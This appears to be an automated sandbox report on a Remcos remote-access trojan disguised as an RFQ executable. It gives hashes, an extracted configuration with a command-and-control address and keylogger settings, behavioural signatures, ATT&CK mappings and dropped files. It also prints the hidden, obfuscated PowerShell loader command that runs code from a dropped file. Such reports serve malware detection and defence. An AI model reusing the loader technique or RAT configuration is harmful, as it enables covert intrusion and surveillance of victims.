remcos | 777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
10-12-2024 15:27

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General

Target

RFQ 008191.exe
Size

777KB
MD5

82ba32e4800897e8bafb32990d29f60a
SHA1

21b724df29b7ddbcd88849e7ad6ab12a4d266c4c
SHA256

777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2
SHA512

7e741fab4e31223a967c4194f31e4fd592b75dc14dde4c72c3fbd5efb28f312807f886290fa8a227037890375d3ada7597857138f4df4d905b0ae4ca7b906101
SSDEEP

12288:UXqlVfD6qKMwy8kjKsge8jLAMsnI8c78pc+HeV4PRklT3we+doWVkeehown:UXqzrTK5XsgervnIac+Hm4QT31V1hown

Score

10^/10

remcos remotehost discovery execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

212.162.149.91:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-HSAM04
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4684	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1600	Juryen.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1600	Juryen.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4684	powershell.exe
1600	Juryen.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RFQ 008191.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Juryen.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe
4684	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4684	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeIncreaseQuotaPrivilege	4684	powershell.exe
Token: SeSecurityPrivilege	4684	powershell.exe
Token: SeTakeOwnershipPrivilege	4684	powershell.exe
Token: SeLoadDriverPrivilege	4684	powershell.exe
Token: SeSystemProfilePrivilege	4684	powershell.exe
Token: SeSystemtimePrivilege	4684	powershell.exe
Token: SeProfSingleProcessPrivilege	4684	powershell.exe
Token: SeIncBasePriorityPrivilege	4684	powershell.exe
Token: SeCreatePagefilePrivilege	4684	powershell.exe
Token: SeBackupPrivilege	4684	powershell.exe
Token: SeRestorePrivilege	4684	powershell.exe
Token: SeShutdownPrivilege	4684	powershell.exe
Token: SeDebugPrivilege	4684	powershell.exe
Token: SeSystemEnvironmentPrivilege	4684	powershell.exe
Token: SeRemoteShutdownPrivilege	4684	powershell.exe
Token: SeUndockPrivilege	4684	powershell.exe
Token: SeManageVolumePrivilege	4684	powershell.exe
Token: 33	4684	powershell.exe
Token: 34	4684	powershell.exe
Token: 35	4684	powershell.exe
Token: 36	4684	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1600	Juryen.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 4684	2636	RFQ 008191.exe	82
PID 2636 wrote to memory of 4684	2636	RFQ 008191.exe	82
PID 2636 wrote to memory of 4684	2636	RFQ 008191.exe	82
PID 4684 wrote to memory of 1600	4684	powershell.exe	91
PID 4684 wrote to memory of 1600	4684	powershell.exe	91
PID 4684 wrote to memory of 1600	4684	powershell.exe	91
PID 4684 wrote to memory of 1600	4684	powershell.exe	91

C:\Users\Admin\AppData\Local\Temp\RFQ 008191.exe
"C:\Users\Admin\AppData\Local\Temp\RFQ 008191.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Prmierer=gc -raw 'C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob';$eftersgningers=$Prmierer.SubString(48853,3);.$eftersgningers($Prmierer)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Users\Admin\AppData\Local\Temp\Juryen.exe
    "C:\Users\Admin\AppData\Local\Temp\Juryen.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:1600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
b8415123193f4c42ee9eee87f201dedb

SHA1
d381ed36ea944411f2976cf2015dc6bc12cb608c

SHA256
828f3b6f160cff39a1cdaf2b9475a946ef7ca3e5a7a40719ca33d17afccf5dd7

SHA512
249ed04c289d85bd410cd1b1978f2dc586b6d0fa8136bdadf10d8c4d751fbd9d5fd7b5a4b51eaa7b444fb6dafdb2731e9c5817abb2c2a1dace48bd4964eee046

Download Submit
C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Beruse.Rob

Filesize
73KB

MD5
dfb785ab6c7a90cd2a2f0fede39565d3

SHA1
d48dcc0968eb6a323231b67abf5c19bb7879384a

SHA256
8d76feca48e11bdd7f2667042c44ac26c5beeaa37471775945e373fac37d0475

SHA512
d998dac5b7d83201dc4742673ecd46f8a2125c4a3360be620d154a0d0a2278f8c8d0b3554d3119c38c446d8e2eb5a09158f06329e46bb7fd90d992a3df9a2806

Download Submit
C:\Users\Admin\AppData\Local\Temp\Blankbook85\patchworkenes\resprmiernes\svuppende\Puddingy.Usu

Filesize
321KB

MD5
06a40c4700069bccb064bab052afef0e

SHA1
7a3df76b80e59ee1ba6f7e7b7a58fc3be5ff078c

SHA256
27c6cf4cd16539addf77dab5ccf4274ba6b31783d873fb2d12b5cd62eecb7803

SHA512
df57eab67a428fcd9d17421ad5bd721522d30e241923c00239df695784d43194c930341b996f28bdc6c5165edb2e383a75a4224845311e32b8a9085e063fdce6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Juryen.exe

Filesize
777KB

MD5
82ba32e4800897e8bafb32990d29f60a

SHA1
21b724df29b7ddbcd88849e7ad6ab12a4d266c4c

SHA256
777441225b9d294baca2f689286a1f70a0fc28007e86cf1cc099c71ee1d826f2

SHA512
7e741fab4e31223a967c4194f31e4fd592b75dc14dde4c72c3fbd5efb28f312807f886290fa8a227037890375d3ada7597857138f4df4d905b0ae4ca7b906101

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y2alyd4h.bi2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1600-87-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-84-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-93-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-99-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-90-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-105-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-108-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-96-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-81-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-78-0x00000000016D0000-0x0000000002C28000-memory.dmp

Filesize
21.3MB

Download
memory/1600-77-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-111-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-72-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/1600-71-0x00000000016D0000-0x0000000002C28000-memory.dmp

Filesize
21.3MB

Download
memory/1600-114-0x0000000000470000-0x00000000016C4000-memory.dmp

Filesize
18.3MB

Download
memory/4684-28-0x0000000006340000-0x0000000006362000-memory.dmp

Filesize
136KB

Download
memory/4684-64-0x0000000008710000-0x0000000009C68000-memory.dmp

Filesize
21.3MB

Download
memory/4684-46-0x0000000007270000-0x0000000007313000-memory.dmp

Filesize
652KB

Download
memory/4684-45-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-47-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-48-0x0000000007370000-0x000000000737A000-memory.dmp

Filesize
40KB

Download
memory/4684-49-0x0000000007390000-0x00000000073A1000-memory.dmp

Filesize
68KB

Download
memory/4684-50-0x00000000073E0000-0x00000000073EE000-memory.dmp

Filesize
56KB

Download
memory/4684-51-0x00000000073F0000-0x0000000007404000-memory.dmp

Filesize
80KB

Download
memory/4684-52-0x0000000007430000-0x000000000744A000-memory.dmp

Filesize
104KB

Download
memory/4684-53-0x0000000007420000-0x0000000007428000-memory.dmp

Filesize
32KB

Download
memory/4684-54-0x0000000007BD0000-0x0000000007BFA000-memory.dmp

Filesize
168KB

Download
memory/4684-55-0x0000000007C00000-0x0000000007C24000-memory.dmp

Filesize
144KB

Download
memory/4684-56-0x00000000737CE000-0x00000000737CF000-memory.dmp

Filesize
4KB

Download
memory/4684-57-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-58-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-60-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-61-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-32-0x0000000007200000-0x0000000007232000-memory.dmp

Filesize
200KB

Download
memory/4684-63-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-65-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-44-0x0000000007240000-0x000000000725E000-memory.dmp

Filesize
120KB

Download
memory/4684-66-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-67-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-69-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-33-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-34-0x000000006FC50000-0x000000006FC9C000-memory.dmp

Filesize
304KB

Download
memory/4684-31-0x0000000008090000-0x000000000870A000-memory.dmp

Filesize
6.5MB

Download
memory/4684-29-0x0000000007460000-0x0000000007A04000-memory.dmp

Filesize
5.6MB

Download
memory/4684-6-0x00000000737CE000-0x00000000737CF000-memory.dmp

Filesize
4KB

Download
memory/4684-27-0x00000000062F0000-0x000000000630A000-memory.dmp

Filesize
104KB

Download
memory/4684-26-0x0000000006DE0000-0x0000000006E76000-memory.dmp

Filesize
600KB

Download
memory/4684-25-0x0000000005E40000-0x0000000005E8C000-memory.dmp

Filesize
304KB

Download
memory/4684-24-0x0000000005E10000-0x0000000005E2E000-memory.dmp

Filesize
120KB

Download
memory/4684-23-0x00000000057F0000-0x0000000005B44000-memory.dmp

Filesize
3.3MB

Download
memory/4684-13-0x0000000005740000-0x00000000057A6000-memory.dmp

Filesize
408KB

Download
memory/4684-12-0x00000000056D0000-0x0000000005736000-memory.dmp

Filesize
408KB

Download
memory/4684-11-0x0000000004DD0000-0x0000000004DF2000-memory.dmp

Filesize
136KB

Download
memory/4684-10-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-9-0x0000000004E30000-0x0000000005458000-memory.dmp

Filesize
6.2MB

Download
memory/4684-8-0x00000000737C0000-0x0000000073F70000-memory.dmp

Filesize
7.7MB

Download
memory/4684-7-0x00000000047C0000-0x00000000047F6000-memory.dmp

Filesize
216KB

Download